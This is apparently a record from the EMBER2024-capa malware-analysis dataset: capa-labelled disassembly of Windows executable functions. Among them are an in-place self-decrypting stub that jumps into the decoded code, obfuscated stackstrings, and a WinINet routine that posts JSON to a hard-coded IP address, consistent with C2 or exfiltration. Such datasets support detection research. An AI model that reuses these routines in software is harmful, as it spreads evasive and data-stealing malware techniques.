joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54df53
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x20
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
push ebp
mov ebp, dword [eax + 0x18]
mov eax, dword [edx + 0x18]
push esi
mov esi, dword [edx + 0x105c]
push edi
mov edi, dword [edx + 0x1050]
imul esi, edi
add esi, eax
cmp eax, esi
mov dword [esp + 0x24], ecx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], esi
jae 0x54e089
push ebx
mov edx, dword [edx + 0x1058]
add edx, eax
add edi, eax
cmp eax, edx
mov ebx, eax
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], edx
jae 0x54e064
movzx ebp, byte [ebx]
movzx esi, byte [ebx + 1]
movzx eax, byte [edi + 1]
movzx edi, byte [edi]
mov edx, eax
push 0x1c
pop ecx
and edx, ecx
mov ebx, ebp
and ebx, ecx
add edx, ebx
mov ebx, edi
and ebx, ecx
add edx, ebx
mov ebx, esi
and ebx, ecx
lea edx, [edx + ebx + 8]
mov ecx, eax
and ecx, 0xffff00e3
mov ebx, ebp
and ebx, 0xffff00e3
add ecx, ebx
mov ebx, edi
and ebx, 0xffff00e3
add ecx, ebx
mov ebx, esi
and ebx, 0xffff00e3
shr edx, 2
lea ecx, [ecx + ebx + 0x42]
mov ebx, dword [esp + 0x14]
shr ecx, 2
xor dl, cl
mov ecx, 0xe3
and ax, cx
and bp, cx
and di, cx
and si, cx
and dl, 0x1c
add eax, ebp
add eax, edi
mov edi, dword [esp + 0x18]
lea eax, [eax + esi + 0x42]
shr eax, 2
xor dl, al
mov eax, dword [esp + 0x10]
inc dword [esp + 0x10]
inc ebx
inc ebx
inc edi
inc edi
cmp ebx, dword [esp + 0x24]
mov byte [eax], dl
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], edi
jb 0x54dfb2
mov ecx, dword [esp + 0x28]
mov ebp, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x2c]
mov edx, dword [ecx + 4]
add ebp, dword [edx + 0x1050]
mov edx, dword [ecx]
mov edi, dword [edx + 0x1050]
lea eax, [eax + edi*2]
cmp eax, esi
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], eax
jb 0x54df8e
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20
ret
Function at 0x54e12d
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x24
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov eax, dword [eax + 0x18]
push ebp
mov ebp, dword [edx + 0x1050]
push edi
mov edi, dword [edx + 0x105c]
imul edi, ebp
mov dword [esp + 0xc], eax
mov eax, dword [edx + 0x18]
add edi, eax
cmp eax, edi
mov dword [esp + 0x24], ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], edi
jae 0x54e271
push ebx
push esi
mov esi, 0xff1c
mov ebx, dword [esp + 0x14]
mov edx, dword [edx + 0x1058]
lea edx, [eax + edx*2]
mov dword [esp + 0x10], ebx
add ebp, eax
cmp eax, edx
mov ebx, eax
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebp
mov dword [esp + 0x28], edx
jae 0x54e24b
movzx edx, word [ebx]
movzx edi, word [ebx + 2]
movzx eax, word [ebp + 2]
movzx ebp, word [ebp]
mov dword [esp + 0x18], edx
mov ebx, eax
mov ecx, 0xe3
and bx, cx
and dx, cx
add ebx, edx
mov edx, ebp
and dx, cx
add ebx, edx
mov edx, edi
and dx, cx
mov ecx, eax
and cx, si
and eax, esi
lea edx, [ebx + edx + 0x42]
mov ebx, dword [esp + 0x18]
and bx, si
shr edx, 2
add ecx, ebx
mov ebx, ebp
and bx, si
and ebp, esi
add ecx, ebx
mov ebx, edi
and bx, si
and edi, esi
lea ecx, [ecx + ebx + 0x208]
mov ebx, dword [esp + 0x1c]
shr ecx, 2
xor dl, cl
mov ecx, dword [esp + 0x18]
and ecx, esi
add eax, ecx
add eax, ebp
mov ebp, dword [esp + 0x20]
lea eax, [eax + edi + 0x208]
shr eax, 2
and edx, 0xffff00e3
xor edx, eax
mov eax, dword [esp + 0x10]
add dword [esp + 0x10], 2
add ebx, 4
add ebp, 4
cmp ebx, dword [esp + 0x28]
mov word [eax], dx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebp
jb 0x54e196
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x24]
mov edi, dword [esp + 0x30]
mov edx, dword [ecx + 4]
mov edx, dword [edx + 0x1050]
add dword [esp + 0x14], edx
mov edx, dword [ecx]
mov ebp, dword [edx + 0x1050]
lea eax, [eax + ebp*2]
cmp eax, edi
mov dword [esp + 0x24], eax
jb 0x54e16d
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x24
ret
Function at 0x54e39a
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x24
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov eax, dword [eax + 0x18]
push ebp
mov ebp, dword [edx + 0x1050]
push edi
mov edi, dword [edx + 0x105c]
imul edi, ebp
mov dword [esp + 0xc], eax
mov eax, dword [edx + 0x18]
add edi, eax
cmp eax, edi
mov dword [esp + 0x24], ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], edi
jae 0x54e4de
push ebx
push esi
mov esi, 0xff00
mov ebx, dword [esp + 0x14]
mov edx, dword [edx + 0x1058]
lea edx, [eax + edx*2]
mov dword [esp + 0x10], ebx
add ebp, eax
cmp eax, edx
mov ebx, eax
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebp
mov dword [esp + 0x28], edx
jae 0x54e4b8
movzx edx, word [ebx]
movzx edi, word [ebx + 2]
movzx eax, word [ebp + 2]
movzx ebp, word [ebp]
mov dword [esp + 0x18], edx
mov ebx, eax
mov ecx, 0xff
and bx, cx
and dx, cx
add ebx, edx
mov edx, ebp
and dx, cx
add ebx, edx
mov edx, edi
and dx, cx
mov ecx, eax
and cx, si
and eax, esi
lea edx, [ebx + edx + 2]
mov ebx, dword [esp + 0x18]
and bx, si
shr edx, 2
add ecx, ebx
mov ebx, ebp
and bx, si
and ebp, esi
add ecx, ebx
mov ebx, edi
and bx, si
and edi, esi
lea ecx, [ecx + ebx + 0x200]
mov ebx, dword [esp + 0x1c]
shr ecx, 2
xor dl, cl
mov ecx, dword [esp + 0x18]
and ecx, esi
add eax, ecx
add eax, ebp
mov ebp, dword [esp + 0x20]
lea eax, [eax + edi + 0x200]
shr eax, 2
and edx, 0xffff00ff
xor edx, eax
mov eax, dword [esp + 0x10]
add dword [esp + 0x10], 2
add ebx, 4
add ebp, 4
cmp ebx, dword [esp + 0x28]
mov word [eax], dx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebp
jb 0x54e403
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x24]
mov edi, dword [esp + 0x30]
mov edx, dword [ecx + 4]
mov edx, dword [edx + 0x1050]
add dword [esp + 0x14], edx
mov edx, dword [ecx]
mov ebp, dword [edx + 0x1050]
lea eax, [eax + ebp*2]
cmp eax, edi
mov dword [esp + 0x24], eax
jb 0x54e3da
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x24
ret
Function at 0x54e4e6
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x20
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
push ebp
mov ebp, dword [eax + 0x18]
mov eax, dword [edx + 0x18]
push esi
mov esi, dword [edx + 0x105c]
push edi
mov edi, dword [edx + 0x1050]
imul esi, edi
add esi, eax
cmp eax, esi
mov dword [esp + 0x24], ecx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], esi
jae 0x54e61c
push ebx
mov edx, dword [edx + 0x1058]
add edx, eax
add edi, eax
cmp eax, edx
mov ebx, eax
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], edx
jae 0x54e5f7
movzx ebp, byte [ebx]
movzx esi, byte [ebx + 1]
movzx eax, byte [edi + 1]
movzx edi, byte [edi]
mov edx, eax
push 0xf
pop ecx
and edx, ecx
mov ebx, ebp
and ebx, ecx
add edx, ebx
mov ebx, edi
and ebx, ecx
add edx, ebx
mov ebx, esi
and ebx, ecx
lea edx, [edx + ebx + 2]
mov ecx, eax
and ecx, 0xffff00f0
mov ebx, ebp
and ebx, 0xffff00f0
add ecx, ebx
mov ebx, edi
and ebx, 0xffff00f0
add ecx, ebx
mov ebx, esi
and ebx, 0xffff00f0
shr edx, 2
lea ecx, [ecx + ebx + 0x20]
mov ebx, dword [esp + 0x14]
shr ecx, 2
xor dl, cl
mov ecx, 0xf0
and ax, cx
and bp, cx
and di, cx
and si, cx
and dl, 0xf
add eax, ebp
add eax, edi
mov edi, dword [esp + 0x18]
lea eax, [eax + esi + 0x20]
shr eax, 2
xor dl, al
mov eax, dword [esp + 0x10]
inc dword [esp + 0x10]
inc ebx
inc ebx
inc edi
inc edi
cmp ebx, dword [esp + 0x24]
mov byte [eax], dl
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], edi
jb 0x54e545
mov ecx, dword [esp + 0x28]
mov ebp, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x2c]
mov edx, dword [ecx + 4]
add ebp, dword [edx + 0x1050]
mov edx, dword [ecx]
mov edi, dword [edx + 0x1050]
lea eax, [eax + edi*2]
cmp eax, esi
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], eax
jb 0x54e521
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20
ret
Function at 0x556171
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x98
push ebx
push esi
xor esi, esi
cmp dword [ebp + 0x78], esi
push edi
mov edi, ecx
jne 0x556192
mov eax, 0x8876086c
jmp 0x556274
cmp dword [ebp + 0x7c], esi
je 0x55620c
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x18], 2
je 0x5561ec
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push dword [ebp + 0x78]
push esi
push esi
call ebx
mov dword [ebp + 0x6c], eax
add eax, 3
and eax, 0xfffffffc
call fcn.00575830
mov dword [ebp + 0x7c], esp
push esi
push esi
push dword [ebp + 0x6c]
push dword [ebp + 0x7c]
push 0xffffffffffffffff
push dword [ebp + 0x78]
push esi
push esi
call ebx
mov eax, dword [ebp + 0x7c]
mov dword [ebp + 0x78], eax
mov dword [ebp + 0x7c], esi
cmp dword [ebp + 0x7c], esi
je 0x55620c
push esi
push 0x10000000
push 3
push esi
push 1
push closesocket
push dword [ebp + 0x78]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x556225
push esi
push 0x10000000
push 3
push esi
push 1
push closesocket
push dword [ebp + 0x78]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [edi], eax
je 0x556265
push esi
push esi
push esi
push 2
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, 0xffffffff
mov dword [edi + 4], eax
je 0x556265
push esi
push esi
push esi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, esi
mov dword [edi + 8], eax
je 0x556265
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [edi + 0xc], eax
jne 0x556272
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x88760b59
jmp 0x556274
xor eax, eax
lea esp, [ebp - 0x34]
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret 8

Function at 0x55718c
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x5571b9
push esi
call fcn.00566c99
cmp byte [esi + 0x40], 0
pop ecx
je 0x5571b2
mov dword [esi + 0x10], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x557228
mov eax, dword [esi + 0x18c]
cmp byte [eax + 0x10], 0
je 0x55721d
mov eax, dword [esi + 8]
test eax, eax
je 0x5571da
push esi
call dword [eax]
pop ecx
mov eax, dword [esi + 0x18c]
push esi
call dword [eax]
test eax, eax
pop ecx
je 0x557219
cmp eax, 2
je 0x55721d
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x5571cf
cmp eax, 3
je 0x5571fe
cmp eax, 1
jne 0x5571cf
inc dword [ecx + 4]
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
cmp dword [eax + 4], ecx
jl 0x5571cf
mov edx, dword [esi + 0x118]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x5571cf
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
mov dword [esi + 0x84], eax
jmp 0x557246
cmp eax, 0xcc
je 0x557246
mov eax, dword [esi]
mov dword [eax + 0x14], 0x12
mov eax, dword [esi]
mov ecx, dword [esi + 0x10]
mov dword [eax + 0x18], ecx
mov eax, dword [esi]
push esi
call dword [eax]
pop ecx
call fcn.0055705f
pop esi
ret
Function at 0x5685a3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x5685b1
xor eax, eax
pop ebp
ret
cmp dword [ebp + 0x10], 8
push esi
mov esi, dword [ebp + 8]
not esi
mov ecx, 0xff
jb 0x568685
mov eax, dword [ebp + 0x10]
push ebx
shr eax, 3
push edi
xor ebx, ebx
mov bl, byte [edx]
mov edi, esi
shr edi, 8
sub dword [ebp + 0x10], 8
xor ebx, esi
and ebx, ecx
mov esi, dword [ebx*4 + 0x58e7f0]
xor ebx, ebx
xor esi, edi
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
mov edi, dword [ebx*4 + 0x58e7f0]
xor ebx, ebx
shr esi, 8
xor edi, esi
inc edx
mov bl, byte [edx]
xor ebx, edi
and ebx, ecx
mov esi, dword [ebx*4 + 0x58e7f0]
xor ebx, ebx
shr edi, 8
xor esi, edi
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
mov edi, dword [ebx*4 + 0x58e7f0]
xor ebx, ebx
shr esi, 8
xor edi, esi
inc edx
mov bl, byte [edx]
xor ebx, edi
and ebx, ecx
mov esi, dword [ebx*4 + 0x58e7f0]
xor ebx, ebx
shr edi, 8
xor esi, edi
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
mov edi, dword [ebx*4 + 0x58e7f0]
shr esi, 8
xor edi, esi
xor ebx, ebx
inc edx
mov bl, byte [edx]
xor ebx, edi
and ebx, ecx
mov esi, dword [ebx*4 + 0x58e7f0]
shr edi, 8
xor esi, edi
xor ebx, ebx
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
mov edi, dword [ebx*4 + 0x58e7f0]
shr esi, 8
xor esi, edi
inc edx
dec eax
jne 0x5685ce
pop edi
pop ebx
cmp dword [ebp + 0x10], 0
je 0x5686a5
xor eax, eax
mov al, byte [edx]
xor eax, esi
and eax, ecx
mov eax, dword [eax*4 + 0x58e7f0]
shr esi, 8
xor esi, eax
inc edx
dec dword [ebp + 0x10]
jne 0x56868b
mov eax, esi
not eax
pop esi
pop ebp
ret
Function at 0x57ba4b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x5bd2b0
cmp edx, dword [eax]
je 0x57ba6d
add eax, 8
inc ecx
cmp eax, 0x5bd340
jl 0x57ba5e
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x5bd2b0]
jne 0x57bb9b
mov eax, dword [0xb1f7a8]
cmp eax, 1
je 0x57bb75
test eax, eax
jne 0x57ba9e
cmp dword [0x5baee4], 1
je 0x57bb75
cmp edx, 0xfc
je 0x57bb9b
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x57bad5
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00579ca0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0057c7e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x57bb18
lea eax, [ebp - 0x1a4]
push eax
call fcn.0057c7e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x58fe88
push edi
call fcn.00575710
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00579ca0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00579cb0
lea eax, [ebp - 0xa0]
push 0x5a7f50
push eax
call fcn.00579cb0
push dword [esi + 0x5bd2b4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00579cb0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0057f2fa
add esp, 0x2c
pop edi
jmp 0x57bb9b
lea eax, [ebp + 8]
lea esi, [esi + 0x5bd2b4]
push 0
push eax
push dword [esi]
call fcn.0057c7e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x8411e0
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
lea esi, [ebp - 0x12c]
xor bl, bl
mov edi, 0x10
nop dword [eax]
movzx edx, bl
lea esi, [esi + 4]
add edx, ecx
add bl, 4
movzx ecx, byte [edx]
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 3]
shl ecx, 8
or ecx, eax
mov dword [esi - 4], ecx
mov ecx, dword [ebp - 4]
sub edi, 1
jne 0x841200
lea eax, [ebp - 0x128]
mov ebx, 0x30
nop
mov edx, dword [eax]
lea eax, [eax + 4]
mov esi, dword [eax + 0x30]
mov edi, edx
mov ecx, edx
rol edi, 0xe
ror ecx, 7
xor edi, ecx
shr edx, 3
xor edi, edx
mov ecx, esi
mov edx, esi
rol ecx, 0xd
rol edx, 0xf
xor edx, ecx
shr esi, 0xa
xor edx, esi
add edi, edx
add edi, dword [eax + 0x1c]
add edi, dword [eax - 8]
mov dword [eax + 0x38], edi
sub ebx, 1
jne 0x841240
mov ebx, dword [ebp - 4]
add ebx, 0x50
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 0x40
movups xmm0, xmmword [ebx]
movups xmmword [ebp - 0x24], xmm0
movups xmm0, xmmword [ebx + 0x10]
movups xmmword [ebp - 0x14], xmm0
mov ebx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov edi, ebx
mov esi, dword [ebp - 0x20]
mov eax, ebx
rol eax, 7
mov ecx, ebx
ror edi, 0xb
not ecx
and ecx, dword [ebp - 0xc]
xor edi, eax
mov eax, ebx
ror eax, 6
xor edi, eax
mov eax, dword [ebp - 0x10]
and eax, ebx
xor ecx, eax
mov eax, dword [ebp - 4]
add edi, ecx
add dword [ebp - 4], 4
add edi, dword [eax + 0x844340]
add edi, dword [ebp + eax - 0x12c]
add edi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, edx
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
add ebx, edi
mov eax, esi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
mov ecx, eax
mov dword [ebp - 0x20], eax
rol eax, 0xa
ror ecx, 0xd
xor ecx, eax
mov eax, dword [ebp - 0x24]
ror eax, 2
xor ecx, eax
mov eax, esi
or eax, edx
and esi, edx
and eax, dword [ebp - 0x24]
add ecx, edi
or eax, esi
add eax, ecx
sub dword [ebp - 0x28], 1
mov dword [ebp - 0x24], eax
jne 0x8412a3
mov dword [ebp - 0x14], ebx
lea ecx, [ebp - 0x24]
mov ebx, dword [ebp - 0x2c]
mov edx, 8
mov eax, dword [ecx]
lea ecx, [ecx + 4]
add dword [ebx], eax
lea ebx, [ebx + 4]
sub edx, 1
jne 0x841343
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x841650
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x846004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x14]
push 0
push 0
push 0
push 4
push 0x844264
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x54], eax
test eax, eax
je 0x8417df
push 1
push 0
push 3
push 0
push 0
push 0x50
push str.82.165.28.182
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x58], eax
test eax, eax
je 0x8417df
push ebx
push 1
push 0x84000100
push 0x846018
push 0
push 0
push str.nounce
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
mov dword [ebp - 0x50], ebx
test ebx, ebx
je 0x8417de
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x8416e0
sub ecx, edx
push ecx
push esi
push 0xffffffffffffffff
push str.Content_Type:_application_json
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x20
lea eax, [ebp - 0x48]
push 0
push eax
lea eax, [ebp - 0x44]
push eax
push 0x13
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x841736
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
add esp, 4
mov dword [edi], eax
push 0x800
xor ebx, ebx
xor esi, esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x4c], ebx
mov edi, eax
lea eax, [ebp - 0x4c]
push eax
push 4
push edi
push dword [ebp - 0x50]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x8417b3
mov edx, dword [ebp - 0x4c]
test edx, edx
je 0x8417b3
xor ecx, ecx
mov eax, esi
add eax, edx
setb cl
neg ecx
or ecx, eax
push ecx
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
add esp, 8
test eax, eax
je 0x841798
push dword [ebp - 0x4c]
mov ebx, eax
add eax, esi
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add esi, dword [ebp - 0x4c]
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0
push eax
push 4
push edi
push dword [ebp - 0x50]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x841761
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push edi
call esi
add esp, 4
test ebx, ebx
je 0x8417c9
push ebx
call esi
add esp, 4
push dword [ebp - 0x54]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x58]
call esi
push dword [ebp - 0x50]
call esi
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00842b85
mov esp, ebp
pop ebp
ret
Function at 0x84347b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x8434ba
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x8434ba
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x8434ba
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x8434ba
cmp dword [ecx + 0x74], 0xe
jbe 0x8434ba
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4093e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x401000
call 0x4093e0
lcall 0x5de5, 0x8b10c483
jmp loc.007d19a8
Function at 0x4027c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [0xa445c624], eax
and al, dh
inc ebp
movsd dword es:[edi], dword [esi]
xor eax, 0x41a645c6
call fcn.004023d7
push eax
push esi
push dword [ebp + 8]
call fcn.0040238c
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
Function at 0x40347e
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x4034b9
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x4034a0
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x4034b1
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x4034bb
inc edi
add eax, 0x28
cmp edi, esi
jb 0x403496
xor eax, eax
pop edi
pop esi
ret

Function at 0x405fe0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x41610c]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x230], ecx
lea ecx, [ebp - 0x14]
call fcn.00405db0
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00405f80
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40604b
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x224], edx
lea ecx, [ebp - 0x14]
call fcn.00405de0
mov eax, dword [ebp - 0x224]
jmp 0x4060dc
mov dword [ebp - 4], 0x100
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4060b1
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00405fe0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4060a8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x228], edx
lea ecx, [ebp - 0x14]
call fcn.00405de0
mov eax, dword [ebp - 0x228]
jmp 0x4060dc
mov dword [ebp - 4], 0x100
jmp 0x406052
lea ecx, [ebp - 0x14]
call fcn.00405ec0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x230]
call fcn.00405e60
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x14]
call fcn.00405de0
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004079e4
mov esp, ebp
pop ebp
ret 4

Function at 0x406640
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x406649
xor ecx, ecx
jne 0x406649
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x40666a
mov eax, 0xd
jmp 0x4066c5
xor eax, eax
jne 0x406651
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
